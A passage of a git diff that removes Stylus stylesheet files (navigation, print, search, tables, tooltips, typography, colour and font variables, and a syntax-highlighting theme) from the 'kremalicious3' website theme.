line-height: input-height
|
|
||||||
|
|
||||||
textarea&,
|
|
||||||
select[multiple]&
|
|
||||||
height: auto
|
|
||||||
|
|
||||||
|
|
||||||
// Placeholder text
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
placeholder($color = $input-color-placeholder)
|
|
||||||
&::-moz-placeholder // Firefox
|
|
||||||
color $color
|
|
||||||
opacity 1 // Override Firefox's unusual default opacity; See https//github.com/twbs/bootstrap/pull/11526
|
|
||||||
&:-ms-input-placeholder // Internet Explorer 10+
|
|
||||||
color $color
|
|
||||||
&::-webkit-input-placeholder // Safari and Chrome
|
|
||||||
color $color
|
|
||||||
@ -1,105 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Navigation
|
|
||||||
//
|
|
||||||
|
|
||||||
.menu-btn,
|
|
||||||
.search-btn
|
|
||||||
@extend .textcenter
|
|
||||||
line-height: 1em
|
|
||||||
vertical-align: middle
|
|
||||||
display: inline-block
|
|
||||||
margin: 0
|
|
||||||
position: absolute
|
|
||||||
right: $spacer
|
|
||||||
top: -($spacer/4)
|
|
||||||
|
|
||||||
@media $screen-md
|
|
||||||
right: 0
|
|
||||||
|
|
||||||
&:focus
|
|
||||||
outline: 0
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
.icon
|
|
||||||
fill: $link-color
|
|
||||||
.hamburger span
|
|
||||||
background: $link-color
|
|
||||||
|
|
||||||
&:active
|
|
||||||
background: transparent
|
|
||||||
transition: none
|
|
||||||
|
|
||||||
.icon
|
|
||||||
fill: darken($link-color, 30%)
|
|
||||||
.hamburger span
|
|
||||||
background: darken($link-color, 30%)
|
|
||||||
|
|
||||||
.menu-btn
|
|
||||||
margin-right: -.5em
|
|
||||||
padding: .5em .7em
|
|
||||||
|
|
||||||
|
|
||||||
// Main Navigation
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.nav-popover
|
|
||||||
@extend .divider-top, .list-unstyled
|
|
||||||
padding: $spacer 0
|
|
||||||
margin-top: $spacer
|
|
||||||
margin-bottom: 0
|
|
||||||
display: flex // .nav-popver overwrite
|
|
||||||
margin-left: 0 // .grid overwrite
|
|
||||||
|
|
||||||
.grid__col
|
|
||||||
padding-top: 0
|
|
||||||
|
|
||||||
opacity: 0
|
|
||||||
|
|
||||||
.has-menu-open &
|
|
||||||
opacity: 1
|
|
||||||
|
|
||||||
.nav-link
|
|
||||||
@extend .link--nounderline, .category
|
|
||||||
font-size: $font-size-small
|
|
||||||
text-shadow: 0 1px 0 rgba(#fff, .5)
|
|
||||||
padding: $padding-base-horizontal
|
|
||||||
margin-bottom: 0
|
|
||||||
margin-top: 0
|
|
||||||
display: block
|
|
||||||
border: none
|
|
||||||
|
|
||||||
|
|
||||||
// Paginator
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.paginator
|
|
||||||
@extend .textcenter
|
|
||||||
padding-top: ($spacer*2)
|
|
||||||
padding-bottom: ($spacer*2)
|
|
||||||
|
|
||||||
.icon
|
|
||||||
margin-bottom: -5px
|
|
||||||
|
|
||||||
.paginator__link
|
|
||||||
@extend .link--nounderline
|
|
||||||
width: 2rem
|
|
||||||
height: 2rem
|
|
||||||
line-height: 1.7
|
|
||||||
display: inline-block
|
|
||||||
border-radius: 50%
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
background: rgba(255,255,255,.3)
|
|
||||||
|
|
||||||
&.active
|
|
||||||
@extend .text-dimmed
|
|
||||||
cursor: default
|
|
||||||
pointer-events: none
|
|
||||||
background: rgba(255,255,255,.3)
|
|
||||||
|
|
||||||
.paginator-title
|
|
||||||
@extend .page-title
|
|
||||||
@ -1,80 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Print
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
@media print
|
|
||||||
|
|
||||||
*
|
|
||||||
background: transparent
|
|
||||||
color: black !important
|
|
||||||
box-shadow:none !important
|
|
||||||
text-shadow: none !important
|
|
||||||
|
|
||||||
.entry-content a[href]:after
|
|
||||||
content: " (" attr(href) ")"
|
|
||||||
text-transform: none
|
|
||||||
font-size: $font-size-small
|
|
||||||
|
|
||||||
// hide stuff in article view
|
|
||||||
.related-posts,
|
|
||||||
.footer .grid:first-child,
|
|
||||||
.hentry:before,
|
|
||||||
.topbar
|
|
||||||
hide()
|
|
||||||
|
|
||||||
.hentry
|
|
||||||
border: none
|
|
||||||
|
|
||||||
.footer
|
|
||||||
color: #ccc !important
|
|
||||||
|
|
||||||
.footer-copyright
|
|
||||||
border-top: 1px solid #000 !important
|
|
||||||
|
|
||||||
&:after
|
|
||||||
hide()
|
|
||||||
|
|
||||||
abbr[title]:after
|
|
||||||
content: " (" attr(title) ")"
|
|
||||||
|
|
||||||
// Don't show links for images, or javascript/internal links
|
|
||||||
.ir a:after,
|
|
||||||
a[href^="javascript:"]:after,
|
|
||||||
a[href^="#"]:after
|
|
||||||
content: ""
|
|
||||||
|
|
||||||
pre,
|
|
||||||
blockquote
|
|
||||||
page-break-inside: avoid
|
|
||||||
|
|
||||||
thead
|
|
||||||
display: table-header-group
|
|
||||||
|
|
||||||
tr,
|
|
||||||
img
|
|
||||||
page-break-inside: avoid
|
|
||||||
|
|
||||||
img
|
|
||||||
max-width: 100% !important
|
|
||||||
|
|
||||||
@page
|
|
||||||
margin: 5.5cm
|
|
||||||
|
|
||||||
p,
|
|
||||||
h2,
|
|
||||||
h3
|
|
||||||
orphans: 3
|
|
||||||
widows: 3
|
|
||||||
|
|
||||||
.hentry
|
|
||||||
h1
|
|
||||||
page-break-before: always
|
|
||||||
&:first-child h1
|
|
||||||
page-break-before: avoid
|
|
||||||
|
|
||||||
h2,
|
|
||||||
h3
|
|
||||||
page-break-after: avoid
|
|
||||||
@ -1,23 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Scaffolding
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
// Body
|
|
||||||
/////////////////////////////////////
|
|
||||||
body
|
|
||||||
background: $body-bg
|
|
||||||
|
|
||||||
|
|
||||||
// Reset fonts for relevant elements
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
input,
|
|
||||||
button,
|
|
||||||
select,
|
|
||||||
textarea
|
|
||||||
font-family: inherit
|
|
||||||
font-size: inherit
|
|
||||||
line-height: inherit
|
|
||||||
@ -1,86 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Search
|
|
||||||
//
|
|
||||||
|
|
||||||
.has-search-open
|
|
||||||
overflow: hidden
|
|
||||||
|
|
||||||
.site__content
|
|
||||||
@extend .transition
|
|
||||||
filter: blur(10px) opacity(0.3)
|
|
||||||
user-select: none
|
|
||||||
pointer-events: none
|
|
||||||
|
|
||||||
.search-btn
|
|
||||||
right: 70px
|
|
||||||
padding: .65em .85em
|
|
||||||
|
|
||||||
@media $screen-md
|
|
||||||
right: 50px
|
|
||||||
|
|
||||||
.search-close
|
|
||||||
position: absolute
|
|
||||||
right: 14px
|
|
||||||
|
|
||||||
&,
|
|
||||||
&:active
|
|
||||||
top: 8%
|
|
||||||
|
|
||||||
.search-area
|
|
||||||
@extend .transition
|
|
||||||
position: absolute
|
|
||||||
left: 0
|
|
||||||
top: -7px
|
|
||||||
z-index: 3
|
|
||||||
margin-left: ($spacer / 2)
|
|
||||||
margin-right: ($spacer / 2)
|
|
||||||
width: "calc(100% - %s)" % $spacer
|
|
||||||
|
|
||||||
// hidden by default
|
|
||||||
display: none
|
|
||||||
|
|
||||||
@media $screen-md
|
|
||||||
margin-left: 0
|
|
||||||
margin-right: 0
|
|
||||||
width: 100%
|
|
||||||
|
|
||||||
&.is-ready
|
|
||||||
display: block
|
|
||||||
|
|
||||||
.form-control
|
|
||||||
background: #fff
|
|
||||||
|
|
||||||
|
|
||||||
.search-popover
|
|
||||||
position: absolute
|
|
||||||
left: 0
|
|
||||||
top: ($spacer*2.4)
|
|
||||||
bottom: 0
|
|
||||||
z-index: 6
|
|
||||||
width: 100%
|
|
||||||
max-height: 90vh
|
|
||||||
padding: ($spacer / 2) 0
|
|
||||||
overflow: auto
|
|
||||||
-webkit-overflow-scrolling: touch
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
top: ($spacer * 3)
|
|
||||||
|
|
||||||
.search-results
|
|
||||||
@extend .breakoutviewport
|
|
||||||
padding-bottom: $spacer
|
|
||||||
|
|
||||||
.search-link
|
|
||||||
@extend .h4
|
|
||||||
line-height: $line-height-small
|
|
||||||
margin: 0
|
|
||||||
padding: ($spacer / 2)
|
|
||||||
display: block
|
|
||||||
border-bottom: 1px solid alpha($brand-grey-light, .2)
|
|
||||||
box-shadow: 0 1px 0 alpha(#fff,.2)
|
|
||||||
|
|
||||||
&:hover
|
|
||||||
background: $link-color
|
|
||||||
color: #fff
|
|
||||||
@ -1,69 +0,0 @@
|
|||||||
|
|
||||||
// https://github.com/MozMorris/tomorrow-pygments/blob/master/css/tomorrow_night_eighties.css
|
|
||||||
|
|
||||||
|
|
||||||
.highlight .hll { background-color: #515151 }
|
|
||||||
.highlight { color: #cccccc }
|
|
||||||
.highlight .c { color: #777 } /* Comment */
|
|
||||||
.highlight .err { color: #f2777a } /* Error */
|
|
||||||
.highlight .k { color: #cc99cc } /* Keyword */
|
|
||||||
.highlight .l { color: #f99157 } /* Literal */
|
|
||||||
.highlight .n { color: #cccccc } /* Name */
|
|
||||||
.highlight .o { color: #66cccc } /* Operator */
|
|
||||||
.highlight .p { color: #cccccc } /* Punctuation */
|
|
||||||
.highlight .cm { color: #777 } /* Comment.Multiline */
|
|
||||||
.highlight .cp { color: #777 } /* Comment.Preproc */
|
|
||||||
.highlight .c1 { color: #777 } /* Comment.Single */
|
|
||||||
.highlight .cs { color: #777 } /* Comment.Special */
|
|
||||||
.highlight .gd { color: #f2777a } /* Generic.Deleted */
|
|
||||||
.highlight .ge { font-style: italic } /* Generic.Emph */
|
|
||||||
.highlight .gh { color: #cccccc; font-weight: bold } /* Generic.Heading */
|
|
||||||
.highlight .gi { color: #99cc99 } /* Generic.Inserted */
|
|
||||||
.highlight .gp { color: #999999; font-weight: bold } /* Generic.Prompt */
|
|
||||||
.highlight .gs { font-weight: bold } /* Generic.Strong */
|
|
||||||
.highlight .gu { color: #66cccc; font-weight: bold } /* Generic.Subheading */
|
|
||||||
.highlight .kc { color: #cc99cc } /* Keyword.Constant */
|
|
||||||
.highlight .kd { color: #cc99cc } /* Keyword.Declaration */
|
|
||||||
.highlight .kn { color: #66cccc } /* Keyword.Namespace */
|
|
||||||
.highlight .kp { color: #cc99cc } /* Keyword.Pseudo */
|
|
||||||
.highlight .kr { color: #cc99cc } /* Keyword.Reserved */
|
|
||||||
.highlight .kt { color: #ffcc66 } /* Keyword.Type */
|
|
||||||
.highlight .ld { color: #99cc99 } /* Literal.Date */
|
|
||||||
.highlight .m { color: #f99157 } /* Literal.Number */
|
|
||||||
.highlight .s { color: #99cc99 } /* Literal.String */
|
|
||||||
.highlight .na { color: #6699cc } /* Name.Attribute */
|
|
||||||
.highlight .nb { color: #cccccc } /* Name.Builtin */
|
|
||||||
.highlight .nc { color: #ffcc66 } /* Name.Class */
|
|
||||||
.highlight .no { color: #f2777a } /* Name.Constant */
|
|
||||||
.highlight .nd { color: #66cccc } /* Name.Decorator */
|
|
||||||
.highlight .ni { color: #cccccc } /* Name.Entity */
|
|
||||||
.highlight .ne { color: #f2777a } /* Name.Exception */
|
|
||||||
.highlight .nf { color: #6699cc } /* Name.Function */
|
|
||||||
.highlight .nl { color: #cccccc } /* Name.Label */
|
|
||||||
.highlight .nn { color: #ffcc66 } /* Name.Namespace */
|
|
||||||
.highlight .nx { color: #6699cc } /* Name.Other */
|
|
||||||
.highlight .py { color: #cccccc } /* Name.Property */
|
|
||||||
.highlight .nt { color: #66cccc } /* Name.Tag */
|
|
||||||
.highlight .nv { color: #f2777a } /* Name.Variable */
|
|
||||||
.highlight .ow { color: #66cccc } /* Operator.Word */
|
|
||||||
.highlight .w { color: #cccccc } /* Text.Whitespace */
|
|
||||||
.highlight .mf { color: #f99157 } /* Literal.Number.Float */
|
|
||||||
.highlight .mh { color: #f99157 } /* Literal.Number.Hex */
|
|
||||||
.highlight .mi { color: #f99157 } /* Literal.Number.Integer */
|
|
||||||
.highlight .mo { color: #f99157 } /* Literal.Number.Oct */
|
|
||||||
.highlight .sb { color: #99cc99 } /* Literal.String.Backtick */
|
|
||||||
.highlight .sc { color: #cccccc } /* Literal.String.Char */
|
|
||||||
.highlight .sd { color: #999999 } /* Literal.String.Doc */
|
|
||||||
.highlight .s2 { color: #99cc99 } /* Literal.String.Double */
|
|
||||||
.highlight .se { color: #f99157 } /* Literal.String.Escape */
|
|
||||||
.highlight .sh { color: #99cc99 } /* Literal.String.Heredoc */
|
|
||||||
.highlight .si { color: #f99157 } /* Literal.String.Interpol */
|
|
||||||
.highlight .sx { color: #99cc99 } /* Literal.String.Other */
|
|
||||||
.highlight .sr { color: #99cc99 } /* Literal.String.Regex */
|
|
||||||
.highlight .s1 { color: #99cc99 } /* Literal.String.Single */
|
|
||||||
.highlight .ss { color: #99cc99 } /* Literal.String.Symbol */
|
|
||||||
.highlight .bp { color: #cccccc } /* Name.Builtin.Pseudo */
|
|
||||||
.highlight .vc { color: #f2777a } /* Name.Variable.Class */
|
|
||||||
.highlight .vg { color: #f2777a } /* Name.Variable.Global */
|
|
||||||
.highlight .vi { color: #f2777a } /* Name.Variable.Instance */
|
|
||||||
.highlight .il { color: #f99157 } /* Literal.Number.Integer.Long */
|
|
||||||
@ -1,68 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Tables
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
table
|
|
||||||
border-collapse: collapse
|
|
||||||
border-spacing: 0
|
|
||||||
width: 100%
|
|
||||||
max-width: 100%
|
|
||||||
background-color: transparent
|
|
||||||
margin-bottom: $spacer
|
|
||||||
border-bottom: 1px solid #cfd9e1
|
|
||||||
|
|
||||||
td
|
|
||||||
vertical-align: top
|
|
||||||
|
|
||||||
th,
|
|
||||||
td
|
|
||||||
padding: .7em .3em
|
|
||||||
text-align: left
|
|
||||||
vertical-align: top
|
|
||||||
border-top: 1px solid #cfd9e1
|
|
||||||
|
|
||||||
th
|
|
||||||
@extend .bold
|
|
||||||
|
|
||||||
thead th
|
|
||||||
vertical-align: bottom
|
|
||||||
|
|
||||||
table tbody + tbody
|
|
||||||
border-top: 2px solid #cfd9e1
|
|
||||||
|
|
||||||
table tbody tr:nth-child(odd) td,
|
|
||||||
table tbody tr:nth-child(odd) th
|
|
||||||
background-color: rgba(255,255,255,.2)
|
|
||||||
|
|
||||||
table tbody tr:hover td,
|
|
||||||
table tbody tr:hover th
|
|
||||||
background-color: #f5f5f5
|
|
||||||
|
|
||||||
|
|
||||||
.table-responsive
|
|
||||||
overflow-x: auto
|
|
||||||
min-height: 0.01% // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)
|
|
||||||
|
|
||||||
@media (max-width: $screen-xs-min)
|
|
||||||
width: 100%
|
|
||||||
margin-bottom: ($spacer * 0.75)
|
|
||||||
overflow-y: hidden
|
|
||||||
-webkit-overflow-scrolling: touch
|
|
||||||
-ms-overflow-style: -ms-autohiding-scrollbar
|
|
||||||
|
|
||||||
// Tighten up spacing
|
|
||||||
> table
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
// Ensure the content doesn't wrap
|
|
||||||
> thead,
|
|
||||||
> tbody,
|
|
||||||
> tfoot
|
|
||||||
> tr
|
|
||||||
> th,
|
|
||||||
> td
|
|
||||||
white-space: nowrap
|
|
||||||
padding: .5em .2em
|
|
||||||
@ -1,4 +0,0 @@
|
|||||||
|
|
||||||
.tagcloud__tag
|
|
||||||
@extend .link--nounderline
|
|
||||||
padding: .3rem .5rem
|
|
||||||
@ -1,52 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Tooltips
|
|
||||||
//
|
|
||||||
|
|
||||||
// Base class
|
|
||||||
.tooltip
|
|
||||||
position: absolute
|
|
||||||
z-index: 1000
|
|
||||||
display: block
|
|
||||||
// Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.
|
|
||||||
// So reset our font and text properties to avoid inheriting weird values.
|
|
||||||
font-family: $font-family-base
|
|
||||||
// We deliberately do NOT reset font-size.
|
|
||||||
font-style: normal
|
|
||||||
font-weight: normal
|
|
||||||
letter-spacing: normal
|
|
||||||
line-break: auto
|
|
||||||
line-height: $line-height
|
|
||||||
text-align: left; // Fallback for where `start` is not supported
|
|
||||||
text-align: start
|
|
||||||
text-decoration: none
|
|
||||||
text-shadow: none
|
|
||||||
text-transform: none
|
|
||||||
white-space: normal
|
|
||||||
word-break: normal
|
|
||||||
word-spacing: normal
|
|
||||||
word-wrap: normal
|
|
||||||
font-size: $font-size-mini
|
|
||||||
|
|
||||||
opacity: 0
|
|
||||||
|
|
||||||
&.in
|
|
||||||
opacity: .8
|
|
||||||
&.top
|
|
||||||
margin-top: -1px
|
|
||||||
&.right
|
|
||||||
margin-left: 1px
|
|
||||||
&.bottom
|
|
||||||
margin-top: 1px
|
|
||||||
&.left
|
|
||||||
margin-left: -1px
|
|
||||||
|
|
||||||
// Wrapper for the tooltip content
|
|
||||||
.tooltip-inner
|
|
||||||
max-width: 120px
|
|
||||||
padding: 4px 8px
|
|
||||||
color: $tooltip-color
|
|
||||||
text-align: center
|
|
||||||
background-color: $tooltip-bg
|
|
||||||
border-radius: $border-radius-base
|
|
||||||
@ -1,321 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Typography
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
// Base
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
// Body reset
|
|
||||||
html
|
|
||||||
font-size: $font-size-root-xs
|
|
||||||
|
|
||||||
@media $screen-xs
|
|
||||||
font-size: $font-size-root
|
|
||||||
|
|
||||||
@media $screen-lg
|
|
||||||
font-size: $font-size-root-lg
|
|
||||||
|
|
||||||
body
|
|
||||||
font-family: $font-family-base
|
|
||||||
font-weight: $font-weight-base
|
|
||||||
font-size: $font-size-base
|
|
||||||
line-height: $line-height
|
|
||||||
color: $font-color-base
|
|
||||||
background: $body-bg
|
|
||||||
|
|
||||||
// handling long text, like URLs
|
|
||||||
overflow-wrap: break-word
|
|
||||||
word-wrap: break-word
|
|
||||||
word-break: break-word
|
|
||||||
|
|
||||||
text-rendering: optimizeLegibility
|
|
||||||
// Controversial! But prevents text flickering in
|
|
||||||
// Safari/Firefox when animations are running
|
|
||||||
-webkit-font-smoothing: antialiased
|
|
||||||
-moz-osx-font-smoothing: grayscale
|
|
||||||
-moz-font-feature-settings: 'liga', 'kern'
|
|
||||||
|
|
||||||
letter-spacing: -.01em
|
|
||||||
|
|
||||||
p,
|
|
||||||
ul,
|
|
||||||
ol
|
|
||||||
margin: 0 0 $spacer
|
|
||||||
|
|
||||||
|
|
||||||
// Reset fonts for relevant elements
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
input,
|
|
||||||
button,
|
|
||||||
select,
|
|
||||||
textarea
|
|
||||||
font-family: inherit
|
|
||||||
font-size: inherit
|
|
||||||
line-height: inherit
|
|
||||||
|
|
||||||
|
|
||||||
// Headings
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
h1, h2, h3, h4, h5, h6,
|
|
||||||
.h1, .h2, .h3, .h4, .h5, .h6
|
|
||||||
font-family: $headings-font-family
|
|
||||||
line-height: $headings-line-height
|
|
||||||
color: $headings-color
|
|
||||||
font-weight: 500
|
|
||||||
letter-spacing: -.04em
|
|
||||||
|
|
||||||
h1, .h1,
|
|
||||||
h2, .h2
|
|
||||||
margin-top: ($spacer*2)
|
|
||||||
margin-bottom: ($spacer*2)
|
|
||||||
|
|
||||||
h3, .h3
|
|
||||||
h4, .h4,
|
|
||||||
h5, .h5,
|
|
||||||
h6, .h6
|
|
||||||
margin-top: $spacer
|
|
||||||
margin-bottom: $spacer
|
|
||||||
|
|
||||||
h1, .h1
|
|
||||||
font-size: $font-size-h2
|
|
||||||
@media $screen-xs
|
|
||||||
font-size: $font-size-h1
|
|
||||||
|
|
||||||
h2, .h2
|
|
||||||
font-size: $font-size-h3
|
|
||||||
@media $screen-xs
|
|
||||||
font-size: $font-size-h2
|
|
||||||
|
|
||||||
h3, .h3
|
|
||||||
font-size: $font-size-h4
|
|
||||||
@media $screen-xs
|
|
||||||
font-size: $font-size-h3
|
|
||||||
|
|
||||||
h4, .h4
|
|
||||||
font-size: $font-size-h5
|
|
||||||
@media $screen-xs
|
|
||||||
font-size: $font-size-h4
|
|
||||||
|
|
||||||
h5, .h5
|
|
||||||
font-size: $font-size-h6
|
|
||||||
@media $screen-xs
|
|
||||||
font-size: $font-size-h5
|
|
||||||
|
|
||||||
h6, .h6
|
|
||||||
font-size: $font-size-h6
|
|
||||||
|
|
||||||
|
|
||||||
// Links
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
a,
|
|
||||||
.link
|
|
||||||
color: $link-color
|
|
||||||
text-decoration: none
|
|
||||||
transition: .2s ease-in-out
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
outline: 0
|
|
||||||
color: $link-color-hover
|
|
||||||
box-shadow: inset 0 -1px 0 rgba($link-color-hover, 70%)
|
|
||||||
|
|
||||||
&:active
|
|
||||||
transition: none
|
|
||||||
color: darken($link-color, 30%)
|
|
||||||
box-shadow: inset 0 -1px 0 darken($link-color, 30%)
|
|
||||||
|
|
||||||
h1 &,
|
|
||||||
h2 &,
|
|
||||||
h3 &
|
|
||||||
color: $headings-color
|
|
||||||
|
|
||||||
.link--nounderline
|
|
||||||
&,
|
|
||||||
&:hover,
|
|
||||||
&:focus,
|
|
||||||
&:active
|
|
||||||
box-shadow: none
|
|
||||||
|
|
||||||
// Lists
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
ul,
|
|
||||||
ol
|
|
||||||
margin-top: 0
|
|
||||||
margin-bottom: $spacer
|
|
||||||
padding-left: ($spacer * 1.5)
|
|
||||||
list-style: none
|
|
||||||
|
|
||||||
li
|
|
||||||
position: relative
|
|
||||||
&:before
|
|
||||||
position: absolute
|
|
||||||
left: -($spacer * 1.5)
|
|
||||||
top: -1px
|
|
||||||
color: $text-color-light
|
|
||||||
user-select: none
|
|
||||||
|
|
||||||
ul
|
|
||||||
li
|
|
||||||
&:before
|
|
||||||
content: " \2015" // horizontal bar: ― ―
|
|
||||||
|
|
||||||
ol
|
|
||||||
counter-reset: ol-counter
|
|
||||||
|
|
||||||
li
|
|
||||||
&:before
|
|
||||||
content: counter(ol-counter)'.'
|
|
||||||
counter-increment: ol-counter
|
|
||||||
|
|
||||||
ul li:before
|
|
||||||
display: none
|
|
||||||
|
|
||||||
ul,
|
|
||||||
ol
|
|
||||||
ul,
|
|
||||||
ol
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
// List options
|
|
||||||
// Unstyled keeps list items block level, just removes default browser padding and list-style
|
|
||||||
list-unstyled()
|
|
||||||
padding-left: 0
|
|
||||||
list-style: none
|
|
||||||
display: block
|
|
||||||
|
|
||||||
li:before
|
|
||||||
display: none
|
|
||||||
|
|
||||||
.list-unstyled
|
|
||||||
list-unstyled()
|
|
||||||
|
|
||||||
nav
|
|
||||||
ul,
|
|
||||||
ol
|
|
||||||
@extend .list-unstyled
|
|
||||||
|
|
||||||
// Inline turns list items into inline-block
|
|
||||||
.list-inline
|
|
||||||
@extend .list-unstyled
|
|
||||||
|
|
||||||
> li
|
|
||||||
display: inline-block
|
|
||||||
padding-left: 5px
|
|
||||||
padding-right: 5px
|
|
||||||
|
|
||||||
&:first-child
|
|
||||||
padding-left: 0
|
|
||||||
|
|
||||||
|
|
||||||
// Inline typography
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
p, li
|
|
||||||
hyphens: auto
|
|
||||||
|
|
||||||
b,
|
|
||||||
strong,
|
|
||||||
.bold
|
|
||||||
font-weight: 700
|
|
||||||
font-style: normal
|
|
||||||
|
|
||||||
em,
|
|
||||||
.italic
|
|
||||||
font-style: italic
|
|
||||||
|
|
||||||
hr
|
|
||||||
@extend .divider-bottom
|
|
||||||
border-top: 0
|
|
||||||
border-left: 0
|
|
||||||
border-right: 0
|
|
||||||
margin-bottom: ($spacer*2)
|
|
||||||
|
|
||||||
.large
|
|
||||||
font-size: $font-size-large-xs
|
|
||||||
@media $screen-xs
|
|
||||||
font-size: $font-size-large
|
|
||||||
|
|
||||||
.small
|
|
||||||
font-size: $font-size-small
|
|
||||||
|
|
||||||
.mini
|
|
||||||
font-size: $font-size-mini
|
|
||||||
|
|
||||||
abbr[title],
|
|
||||||
dfn
|
|
||||||
text-transform: none
|
|
||||||
font-style: normal
|
|
||||||
font-size: inherit
|
|
||||||
border-bottom: 1px dashed $brand-grey-dimmed
|
|
||||||
cursor: help
|
|
||||||
font-feature-settings: inherit
|
|
||||||
|
|
||||||
mark
|
|
||||||
background: #FFFAAB
|
|
||||||
color: $text-color
|
|
||||||
|
|
||||||
sup
|
|
||||||
@extend .small
|
|
||||||
|
|
||||||
.text-dimmed
|
|
||||||
color: $text-color-light
|
|
||||||
|
|
||||||
|
|
||||||
// Quotes
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
q
|
|
||||||
@extend .italic
|
|
||||||
|
|
||||||
cite
|
|
||||||
font-style: normal
|
|
||||||
text-transform: uppercase
|
|
||||||
|
|
||||||
blockquote,
|
|
||||||
blockquote > p
|
|
||||||
@extend .italic, .text-dimmed
|
|
||||||
|
|
||||||
blockquote
|
|
||||||
padding-left: 25px
|
|
||||||
margin: 0 0 $spacer
|
|
||||||
position: relative
|
|
||||||
padding-left: 20px
|
|
||||||
|
|
||||||
@media $screen-xs
|
|
||||||
padding-left: 40px
|
|
||||||
|
|
||||||
@media $screen-lg
|
|
||||||
padding-left: 60px
|
|
||||||
|
|
||||||
// quotation marks
|
|
||||||
&:before
|
|
||||||
content: "“"
|
|
||||||
font-size: 300%
|
|
||||||
color: lighten($text-color, 40%)
|
|
||||||
position: absolute
|
|
||||||
left: -10px
|
|
||||||
top: -20px
|
|
||||||
|
|
||||||
@media $screen-xs
|
|
||||||
left: 0
|
|
||||||
|
|
||||||
@media $screen-lg
|
|
||||||
top: -30px
|
|
||||||
|
|
||||||
p:last-child
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// Selection
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
::-moz-selection { background: #2e4f5c; color: #fff; }
|
|
||||||
::selection { background: #2e4f5c; color: #fff; }
|
|
||||||
@ -1,166 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Global variables & settings
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
// Settings
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
vendors = official // Stylus' @keyframes settings
|
|
||||||
|
|
||||||
|
|
||||||
// Asset Paths
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$img-path = '/assets/img/'
|
|
||||||
$font-path = '/assets/fonts/'
|
|
||||||
|
|
||||||
|
|
||||||
// Colors
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$brand-dark = #015565
|
|
||||||
$brand-light = #e7eef4
|
|
||||||
$brand-cyan = #43a699
|
|
||||||
|
|
||||||
$brand-grey = #6b7f88
|
|
||||||
$brand-grey-light = lighten($brand-grey, 20%)
|
|
||||||
$brand-grey-dimmed = lighten($brand-grey, 60%)
|
|
||||||
|
|
||||||
|
|
||||||
// Text Colors
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$text-color = $brand-grey
|
|
||||||
$text-color-light = $brand-grey-light
|
|
||||||
|
|
||||||
|
|
||||||
// Typography
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$font-size-root-xs = 16px
|
|
||||||
$font-size-root = 18px
|
|
||||||
$font-size-root-lg = 20px
|
|
||||||
|
|
||||||
$font-size-base = 1rem
|
|
||||||
$font-size-large-xs = 1.15rem
|
|
||||||
$font-size-large = 1.45rem
|
|
||||||
$font-size-small = 0.8rem
|
|
||||||
$font-size-mini = 0.6rem
|
|
||||||
|
|
||||||
$font-size-h1 = 3rem
|
|
||||||
$font-size-h2 = 2rem
|
|
||||||
$font-size-h3 = 1.75rem
|
|
||||||
$font-size-h4 = $font-size-large
|
|
||||||
$font-size-h5 = $font-size-base
|
|
||||||
$font-size-h6 = $font-size-small
|
|
||||||
|
|
||||||
$line-height = 1.5
|
|
||||||
$line-height-large = 1.4
|
|
||||||
$line-height-small = 1.1428571429
|
|
||||||
|
|
||||||
$font-family-base = 'ff-tisa-sans-web-pro', 'Trebuchet MS', 'Helvetica Neue', Helvetica, Arial, sans-serif
|
|
||||||
$font-weight-base = 400
|
|
||||||
$font-color-base = $text-color
|
|
||||||
|
|
||||||
$font-family-monospace = Menlo, Monaco, Consolas, 'Courier New', monospace
|
|
||||||
|
|
||||||
$headings-font-family = 'brandon-grotesque', 'Avenir Next', 'Helvetica Neue',Helvetica,Arial,sans-serif
|
|
||||||
$headings-font-weight = 500 // Medium
|
|
||||||
